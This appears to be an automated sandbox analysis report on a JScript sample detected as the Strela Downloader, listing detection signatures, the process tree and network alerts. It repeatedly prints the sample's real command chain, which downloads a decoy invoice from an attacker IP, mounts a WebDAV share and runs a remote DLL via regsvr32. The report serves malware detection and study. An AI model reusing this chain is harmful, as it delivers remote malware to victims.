Edit tour

Windows Analysis Report
3130621478256819696.js

Overview

General Information

Sample name:	3130621478256819696.js
Analysis ID:	1590126
MD5:	6a93d37e3cbe6d22828504fc7c452a95
SHA1:	feb8db0fa8a1a4e7ae1f0b8bcebde4902ddf5acc
SHA256:	049a9cdb975959030941efd2606cdf14e6455dc6f01cf168c658a0728a26b2c7
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5548 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4500 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1472 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7488 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1528,i,9503969084529999324,17013692657919030116,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5596 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6556 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7292 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5548	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1472, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1472, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ProcessId: 5548, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6556, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ProcessId: 5548, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1472, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6556, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7292, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6556, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll, ProcessId: 4500, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T16:18:58.651208+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T16:19:01.294141+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T16:18:58.651208+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3130621478256819696.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 15:18:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

